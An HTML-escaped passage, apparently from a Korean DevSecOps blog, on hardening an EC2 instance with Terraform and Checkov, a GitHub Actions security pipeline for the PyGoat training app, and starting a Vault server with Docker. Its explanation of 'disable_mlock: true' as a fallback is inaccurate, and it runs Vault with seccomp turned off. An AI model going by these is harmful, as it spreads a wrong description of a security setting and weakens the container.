&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;4,0,0&quot;&gt;리소스 최적화 (CKV_AWS_135):&lt;/b&gt; &lt;span style=&quot;background-color: #f6e199;&quot;&gt;ebs_optimized = true&lt;/span&gt; 설정을 통해 인스턴스와 스토리지(EBS) 간 전용 대역폭 확보 및 성능 병목 현상 방지.&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;4,1,0&quot;&gt;가시성 확보 (CKV_AWS_126):&lt;/b&gt; &lt;span style=&quot;background-color: #f6e199;&quot;&gt;monitoring = true&lt;/span&gt; 설정을 통해 1분 단위의 세부 모니터링 활성화 및 이상 징후 조기 탐지 체계 구축.&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;4,2,0&quot;&gt;데이터 보호 (CKV_AWS_8):&lt;/b&gt; &lt;span style=&quot;background-color: #f6e199;&quot;&gt;root_block_device 내 encrypted = true&lt;/span&gt; 설정을 통해 물리적 디스크 탈취 시 데이터 유출 원천 차단.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-path-to-node=&quot;6&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;6&quot;&gt;2) 신원 및 접근 제어 결합 (통합 보안)&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;7&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;7,0,0&quot;&gt;권한 주입 (CKV2_AWS_41):&lt;/b&gt; i&lt;span style=&quot;background-color: #f6e199;&quot;&gt;am_instance_profile&lt;/span&gt;을 통해 앞서 생성한 &lt;b data-index-in-node=&quot;53&quot; data-path-to-node=&quot;7,0,0&quot;&gt;신분증 케이스&lt;/b&gt;를 서버에 전달. 서버가 비밀번호 없이 안전하게 AWS 자원을 이용하도록 설정.&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;7,1,0&quot;&gt;네트워크 방어:&lt;/b&gt; &lt;span style=&quot;background-color: #f6e199;&quot;&gt;vpc_security_group_ids&lt;/span&gt;에 앞서 하드닝한 &lt;b data-index-in-node=&quot;41&quot; data-path-to-node=&quot;7,1,0&quot;&gt;보안 그룹 ID&lt;/b&gt;를 연결하여 허가된 IP와 포트만 통과시키는 가드레일 적용.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-path-to-node=&quot;9&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;9&quot;&gt;3) 지능형 공격 방어 (IMDSv2)&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;10&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;10,0,0&quot;&gt;세션 탈취 방어 (CKV_AWS_79):&lt;/b&gt; &lt;span style=&quot;background-color: #f6e199;&quot;&gt;metadata_options&lt;/span&gt;에서 &lt;span style=&quot;background-color: #f6e199;&quot;&gt;http_tokens = &quot;required&quot;&lt;/span&gt;를 설정하여 최신 메타데이터 서비스(IMDSv2) 강제 적용.&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;10,1,0&quot;&gt;SSRF 공격 차단:&lt;/b&gt; 단순 HTTP 요청이 아닌 세션 토큰 기반 인증 방식을 사용하여, 공격자가 서버 내부 메타데이터(IAM 자격 증명 등)를 탈취하는 행위 차단.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;b&gt;최종 흐름&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;테라폼 설계도에 따라 AWS에 '&lt;b&gt;EC2 전용 신분증(Role)'을 만들고&lt;/b&gt; 이를 안전하게 전달할 '&lt;b&gt;케이스(Profile)'를 준비.&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;동시에 서버의 출입문을 통제할 '강화된 보안 그룹(&lt;b&gt;Security Group)'을 생성&lt;/b&gt;하여 허가된 관리자 IP와 내부망만 접속 허가&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제&lt;b&gt; EC2 서버를 생성하면서 앞서 만든 신분증과 보안 그룹을 연결&lt;/b&gt;하는데, 이때 서버 내부적으로도 &lt;b&gt;데이터 암호화(EBS Encryption)&lt;/b&gt;와 &lt;b data-index-in-node=&quot;247&quot; data-path-to-node=&quot;1&quot;&gt;세부 모니터링&lt;/b&gt;, 그리고 신분증 탈취를 막는 &lt;b&gt;강화된 인증 체계(IMDSv2)&lt;/b&gt;를 적용하여 시스템 자체를 단단하게 경화&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;2-5) IaC Security 자동화&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이미지 빌드 하기 전 단계에 checkov 과정 추가&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1777971085931&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 파이프라인 명칭: DevSecOps 1~2주차 통합 가드레일
# 주요 목적: 시크릿 탐지, SAST, SCA, 이미지 하드닝, 취약점 리포팅, 이미지 서명 자동화
name: DevSecOps 1-Week Automation Pipeline

permissions:
  contents: read # 코드 스캔을 위해 리포지토리 콘텐츠 읽기 권한 필요
  id-token: write # SonarCloud 인증을 위한 OIDC 토큰 발급 권한
  pull-requests: write # PR에 보안 분석 결과 코멘트 작성 권한 (옵션)c
  security-events: write # checkov나 trivy 결과를 github security tab에 업로드
on:
  push:
    branches: [ &quot;main&quot; ] # main 브랜치에 코드 푸시 시 자동 실행
  pull_request:
    branches: [ &quot;main&quot; ] # PR 생성 시 보안 검사 강제화

jobs:
  # [Job 1] 코드 및 의존성 보안 스캔 (Static Analysis)
  security-scan:
    name: Security &amp;amp; Quality Analysis
    runs-on: ubuntu-latest
    steps:
      - name: Checkout Code
        uses: actions/checkout@v4
        with:
          fetch-depth: 0 # 모든 커밋 히스토리를 가져와 Gitleaks가 전체 이력을 스캔할 수 있도록 설정

      # 1. Gitleaks: 커밋 히스토리 내 평문 시크릿(API Key, Password 등) 탐지
      - name: Gitleaks Scan
        run: |
          # exit-code=2: 시크릿 탐지 시 빌드를 즉시 중단하여 유출 방지
          docker run -v ${PWD}:/path zricethezav/gitleaks:latest detect --source=&quot;/path&quot; -v --exit-code=2

      # 2. SonarQube: 정적 코드 분석을 통해 취약한 코드 패턴(XSS, SQLi 등) 탐지
      - name: SonarCloud Scan
        uses: SonarSource/sonarcloud-github-action@master
        env:
          GITHUB_TOKEN: ${{ secrets.GH_TOKEN }}
          SONAR_TOKEN: ${{ secrets.SONAR_TOKEN }}
        with:
          args: &amp;gt;
            -Dsonar.projectKey=${{ secrets.SONAR_PROJECT_KEY }}
            -Dsonar.organization=${{ secrets.SONAR_ORG_KEY }}
            -Dsonar.qualitygate.wait=false # 분석 완료를 기다리지 않고 비동기로 진행

      # SonarQube 분석 결과를 바탕으로 품질 게이트 통과 여부 확인 (사용자 정의 스크립트)
      - name: Custom Security Gate Check
        run: python check_gate.py &quot;${{ secrets.SONAR_PROJECT_KEY }}&quot; &quot;${{ secrets.SONAR_TOKEN }}&quot;

      # 3. Snyk: 오픈소스 라이브러리(SCA) 내 알려진 취약점(CVE) 스캔
      - name: Install dependencies &amp;amp; Snyk
        run: |
          sudo apt-get update &amp;amp;&amp;amp; sudo apt-get install -y libjpeg-dev zlib1g-dev # Pillow 등 컴파일에 필요한 의존성
          python -m pip install --upgrade pip
          pip install -r requirements.txt
          npm install -g snyk # Snyk CLI 설치

      - name: Run Snyk Test
        continue-on-error: true # 학습용 PyGoat은 취약점이 많으므로 중단 없이 결과만 확인
        env:
          SNYK_TOKEN: ${{ secrets.SNYK_TOKEN }}
        run: |
          # requirements.txt 기반으로 라이브러리 보안성 검사
          snyk test --file=requirements.txt --org=${{ secrets.SNYK_ORG_ID }} --skip-unresolved=true

      # 4. Checkov: Infra(Terraform) 및 Container(Dockerfile) 보안 스캔
      - name: Run Checkov Scan (Full IaC Scrutiny)
        id: checkov
        uses: bridgecrewio/checkov-action@v12.2983.0 # v3 계열의 안정된 버전 사용 (공급망 보안 버전 고정 원칙)
        with:
          directory: . # 프로젝트 루트(.) 내의 모든 테라폼 파일과 Dockerfile을 스캔 대상으로 지정
          skip_path: dockerized_labs # 실습 예제 제외 
         
          soft_fail: false   # false: 보안 결함(Failed) 발견 시 Exit Code 1을 발생시켜 파이프라인 즉시 중단
          
          framework: all # 테라폼과 Docker를 포함한 모든 지원 프레임워크 자동 탐지
          
          output_format: cli # 보안 분석 결과를 CLI 형태로 상세 출력
        

  # [Job 2] 이미지 빌드, 하드닝 검증 및 공급망 보안 (Infrastructure &amp;amp; Supply Chain)
  build-and-hardening:
    name: Docker Hardening &amp;amp; Supply Chain Security
    needs: security-scan # Job 1이 성공해야만 이미지 빌드 시작
    runs-on: ubuntu-latest
    steps:
      - name: Checkout Code
        uses: actions/checkout@v4

      # 5. Docker 이미지 빌드 (Hardened Tag 적용)
      # Dockerfile의 멀티 스테이지 빌드와 비특권 사용자 설정이 반영된 이미지 생성
      - name: Build Docker Image
        run: |
          docker build -t ${{ secrets.DOCKERHUB_USERNAME }}/pygoat:hardened .

      # 6. Trivy: 빌드된 이미지 내 OS 패키지 및 라이브러리 취약점 진단
      - name: Run Trivy Image Scan (Report Only)
        uses: aquasecurity/trivy-action@master
        with:
          image-ref: '${{ secrets.DOCKERHUB_USERNAME }}/pygoat:hardened'
          format: 'table'
          exit-code: '0' # 취약점이 발견되어도 리포트 생성 후 빌드 지속 (사용자 요청 반영)
          severity: 'CRITICAL,HIGH' # 고위험군 취약점 집중 출력

      # 리포트 저장을 위한 JSON 포맷 스캔 별도 실행
      - name: Generate JSON Report for Artifact
        uses: aquasecurity/trivy-action@master
        with:
          image-ref: '${{ secrets.DOCKERHUB_USERNAME }}/pygoat:hardened'
          format: 'json'
          output: 'trivy-report.json'
          exit-code: '0'

      # 7. Artifact 업로드: 파이프라인 종료 후 GitHub Actions 결과 탭에서 취약점 리포트 다운로드 가능
      - name: Upload Trivy Scan Report
        uses: actions/upload-artifact@v4
        with:
          name: trivy-vulnerability-report
          path: trivy-report.json

      # 8. Docker Hub 로그인 및 푸시
      - name: Login to Docker Hub
        uses: docker/login-action@v3
        with:
          username: ${{ secrets.DOCKERHUB_USERNAME }}
          password: ${{ secrets.DOCKERHUB_TOKEN }}

      - name: Push Docker Image
        run: docker push ${{ secrets.DOCKERHUB_USERNAME }}/pygoat:hardened

      # 9. Syft: 소프트웨어 자재 명세서(SBOM) 생성 (공급망 보안 가시성 확보)
      - name: Generate SBOM (Syft)
        uses: anchore/sbom-action@v0
        with:
          image: ${{ secrets.DOCKERHUB_USERNAME }}/pygoat:hardened
          format: 'spdx-json'
          output-file: 'sbom.spdx.json'

      # 10. Cosign: 이미지 무결성 증명을 위한 전자 서명 및 SBOM 어테스테이션
      - name: Install Cosign
        uses: sigstore/cosign-installer@v3.5.0

      - name: Sign &amp;amp; Attest Image
        run: |
          # 환경 변수의 개인키를 파일로 생성
          echo &quot;$COSIGN_KEY&quot; &amp;gt; cosign.key
          
          # 이미지 서명: 배포된 이미지가 변조되지 않았음을 증명
          cosign sign --key cosign.key -y ${{ secrets.DOCKERHUB_USERNAME }}/pygoat:hardened
          
          # SBOM 어테스테이션: 빌드 당시의 의존성 정보를 이미지에 영구 결합 (VEX 등에 활용)
          cosign attest --key cosign.key --type spdxjson --predicate sbom.spdx.json -y ${{ secrets.DOCKERHUB_USERNAME }}/pygoat:hardened
        env:
          COSIGN_KEY: ${{ secrets.COSIGN_KEY }}
          COSIGN_PASSWORD: ${{ secrets.COSIGN_PASSWORD }}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;text-align: center;&quot; data-ke-size=&quot;size23&quot;&gt;3. 제로 트러스트 기밀 관리 (Vault Secret)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;HashiCorp Vault&lt;/b&gt;는 동적 인프라 환경에서 비밀번호, 인증 토큰, API 키 등 &lt;b&gt;민감한 정보를 안전하게 관리하기 위한 중앙 집중형 기밀 관리 솔루션&lt;/b&gt;이다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;모든 기밀 데이터는 암호화되어 저장되며 Zero Trust 원칙에 따라 매 요청마다 신원을 확인한다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Github Secret 대신 Vault를 사용하는 이유는 다음과 같다.&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;8,0,0&quot;&gt;기밀 파편화 방지:&lt;/b&gt; 코드(settings.py), CI/CD(GitHub Secrets), 서버 환경 변수 등에 흩어진 시크릿을 한곳에서 통합 관리&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;8,1,0&quot;&gt;동적 시크릿 (Dynamic Secrets):&lt;/b&gt; 고정된 비밀번호가 아니라, 요청 시점에만 유효한 임시 자격 증명을 생성하여 유출 시 피해를 최소화&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;8,2,0&quot;&gt;강력한 감사 로그 (Audit Log):&lt;/b&gt; &quot;누가, 언제, 어떤 시크릿을 조회했는지&quot; 모든 이력을 기록하여 보안 사고 발생 시 추적성을 확보&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;8,3,0&quot;&gt;코드형 보안 (Security as Code):&lt;/b&gt; 시크릿 접근 권한을 정책(Policy) 파일로 정의하여 자동화된 가드레일 구축 가능&amp;nbsp;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;실습 흐름&amp;nbsp;&lt;/h4&gt;
&lt;p data-path-to-node=&quot;3&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;b&gt;1단계: Vault 서버 구축 및 초기화 (Infrastructure)&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;4&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;4,0,0&quot;&gt;Vault 기동:&lt;/b&gt; Docker를 활용하여 로컬 환경에 Vault 컨테이너 실행.&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;4,1,0&quot;&gt;봉인 해제(Unseal):&lt;/b&gt; 금고를 열기 위한 마스터 키 생성 및 초기 설정.&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;4,2,0&quot;&gt;저장소 활성화:&lt;/b&gt; 데이터를 저장할 공간인 KV(Key-Value) 엔진 활성화.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-path-to-node=&quot;5&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;b&gt;&amp;nbsp;2단계: 시크릿 저장 및 정책 설정 (Data &amp;amp; Policy)&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;6&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;6,0,0&quot;&gt;데이터 이관:&lt;/b&gt; &lt;span style=&quot;background-color: #f6e199;&quot;&gt;settings.py&lt;/span&gt;의 &lt;span style=&quot;background-color: #f6e199;&quot;&gt;SECRET_KEY&lt;/span&gt;와 기존 GitHub Secrets 값들을 Vault 내부 경로(&lt;span style=&quot;background-color: #f6e199;&quot;&gt;secret/pygoat/)&lt;/span&gt;에 저장.&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;6,1,0&quot;&gt;권한 정의(Policy):&lt;/b&gt; 특정 앱(PyGoat)이나 파이프라인(GitHub Actions)이 본인의 값만 읽을 수 있도록 세부 정책 작성.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-path-to-node=&quot;7&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;b&gt;&amp;nbsp;3단계: 애플리케이션 코드 살균 (Refactoring)&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;8&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;8,0,0&quot;&gt;평문 제거:&lt;/b&gt; &lt;span style=&quot;background-color: #f6e199;&quot;&gt;pygoat/settings.py&lt;/span&gt; 내부에 하드코딩된 모든 문자열 시크릿 삭제.&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;8,1,0&quot;&gt;환경 변수 전환:&lt;/b&gt; &lt;span style=&quot;background-color: #f6e199;&quot;&gt;os.environ.get()&lt;/span&gt;을 사용하여 실행 시점에 외부에서 값을 주입받는 구조로 코드 수정.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-path-to-node=&quot;9&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;b&gt;&amp;nbsp;4단계: GitHub Actions 연동 및 검증 (Automation)&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;10&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;10,0,0&quot;&gt;OIDC 인증:&lt;/b&gt; GitHub와 Vault 간의 신뢰 관계를 구축하여 ID/PW 없이 인증 수행.&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;10,1,0&quot;&gt;런타임 주입:&lt;/b&gt; 파이프라인 실행 시 Vault에서 값을 실시간으로 가져와 PyGoat에 전달.&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;10,2,0&quot;&gt;보안 검증:&lt;/b&gt; Gitleaks 스캔을 통해 코드 내 시크릿 노출 0건(Zero) 확인 및 정상 작동 테스트.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;3-1)&amp;nbsp; Vault 서버 구축 및 초기화&lt;/h4&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;b&gt;1. Docker를 이용한 Vault 서버 기동&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1777997074371&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;docker run -d --name vault-server \
  -p 8200:8200 \
  --cap-add=IPC_LOCK \
  --cap-add=SETFCAP \
  --security-opt seccomp=unconfined \
  -e 'VAULT_LOCAL_CONFIG={
    &quot;storage&quot;: {&quot;file&quot;: {&quot;path&quot;: &quot;/vault/file&quot;}},
    &quot;listener&quot;: {&quot;tcp&quot;: {&quot;address&quot;: &quot;0.0.0.0:8200&quot;, &quot;tls_disable&quot;: 0}},
    &quot;disable_mlock&quot;: true
  }' \
  hashicorp/vault:1.15.0 server&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-path-to-node=&quot;4&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;4&quot;&gt;1) -d --name vault-server&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;5&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;5,0,0&quot;&gt;의미:&lt;/b&gt; 컨테이너를 백그라운드(detach)에서 실행하며, 이름을 vault-server로 지정함.&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;5,1,0&quot;&gt;용도:&lt;/b&gt; 컨테이너 관리(중지, 삭제, 로그 확인)를 용이하게 함.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-path-to-node=&quot;6&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;6&quot;&gt;2) --cap-add=IPC_LOCK&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;7&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;7,0,0&quot;&gt;의미:&lt;/b&gt; 컨테이너에 IPC_LOCK이라는 리눅스 커널 권한을 부여함.&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;7,1,0&quot;&gt;보안적 이유:&lt;/b&gt; Vault는 시크릿을 메모리에 저장하는데, 시스템이 메모리 부족 시 이 데이터를 디스크(Swap 영역)로 옮기는 것을 방지함. 시크릿이 암호화되지 않은 채 디스크에 남는 것을 막는 &lt;b data-index-in-node=&quot;109&quot; data-path-to-node=&quot;7,1,0&quot;&gt;메모리 하드닝&lt;/b&gt; 설정임.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-path-to-node=&quot;5,1,0&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;5,1,0&quot;&gt;3) --cap-add=SETFCAP&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;5,1,1&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;5,1,1,0,0&quot;&gt;기술적 이유&lt;/b&gt;: Vault 바이너리는 실행 시 파일 시스템에 성능 권한(Capabilities)을 직접 설정하려고 시도&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;5,1,1,1,0&quot;&gt;해결 내용&lt;/b&gt;: 이 권한이 없으면 &lt;span style=&quot;background-color: #ffffff;&quot;&gt;Operation not permitted &lt;/span&gt;에러와 함께 기동 자체가 거부된다.&amp;nbsp;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-path-to-node=&quot;3&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;3&quot;&gt;4) --security-opt seccomp=unconfined&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;4&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;4,0,0&quot;&gt;Seccomp(Secure Computing mode)의 의미&lt;/b&gt;: 컨테이너가 리눅스 커널에 요청하는 &lt;b data-index-in-node=&quot;55&quot; data-path-to-node=&quot;4,0,0&quot;&gt;시스템 호출(Syscall)을 필터링&lt;/b&gt;하는 보안 가드레일임. 허용되지 않은 Syscall(예: 파일 삭제, 커널 모듈 조작 등)을 원천 차단하여 컨테이너 탈출 공격을 방지함.&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;4,1,0&quot;&gt;unconfined의 의미&lt;/b&gt;: 단어 그대로 &quot;제한 없음&quot;을 뜻하며, 도커의 기본 Seccomp 보안 프로필(필터)을 적용하지 않겠다는 설정임.&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;4,2,0&quot;&gt;사용 이유 (정찰 모드)&lt;/b&gt;: Vault와 같은 고성능 Go 애플리케이션은 기본 필터에 막히는 특수한 Syscall을 빈번하게 사용함. 초기 구축 시 모든 제약을 풀어(unconfined) 서비스 가용성을 먼저 확보하고, &lt;b data-index-in-node=&quot;122&quot; data-path-to-node=&quot;4,2,0&quot;&gt;strace를 통해 필수 Syscall 목록을 수집&lt;/b&gt;하기 위한 전제 조건임&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-path-to-node=&quot;8&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;8&quot;&gt;5) -e 'VAULT_LOCAL_CONFIG=...'&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-path-to-node=&quot;9&quot; data-ke-size=&quot;size16&quot;&gt;가장 중요한 설정부로, Vault의 동작 방식을 JSON 형태로 정의함.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;10&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;10,0,0&quot;&gt;&quot;storage&quot;: {&quot;file&quot;: {&quot;path&quot;: &quot;/vault/file&quot;}} : &lt;/b&gt;&lt;/span&gt;dev 모드와 달리 데이터를 메모리가 아닌 컨테이너 내부의 /vault/file 경로에 저장함. 컨테이너가 재시작되어도 데이터가 유지됨.&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;10,1,0&quot;&gt;&quot;listener&quot;: {&quot;tcp&quot;: {&quot;address&quot;: &quot;0.0.0.0:8200&quot;, &quot;tls_disable&quot;: 0}}&lt;/b&gt;&lt;/span&gt;
&lt;ul style=&quot;list-style-type: circle;&quot; data-path-to-node=&quot;10,1,1&quot; data-ke-list-type=&quot;circle&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;10,1,1,0,0&quot;&gt;접속 설정:&lt;/b&gt; 모든 네트워크 인터페이스(0.0.0.0)의 8200 포트로 접속을 허용함.&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;10,1,1,1,0&quot;&gt;tls_disable&quot;: 0&lt;/b&gt;: HTTPS(TLS) 통신&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;9,0,0&quot;&gt;disable_mlock: true&lt;/b&gt;&lt;/span&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;9,0,1&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;9,0,1,0,0&quot;&gt;진단&lt;/b&gt;: IPC_LOCK 권한을 줬음에도 WSL2 커널 환경에 따라 실제 메모리 잠금이 실패할 수 있다.&amp;nbsp;&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;9,0,1,1,0&quot;&gt;대응&lt;/b&gt;: 이때 Vault가 에러를 뿜으며 죽지 않도록, &quot;잠금 시도는 하되 실패해도 기동은 해라&quot;라는 역할&amp;nbsp;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
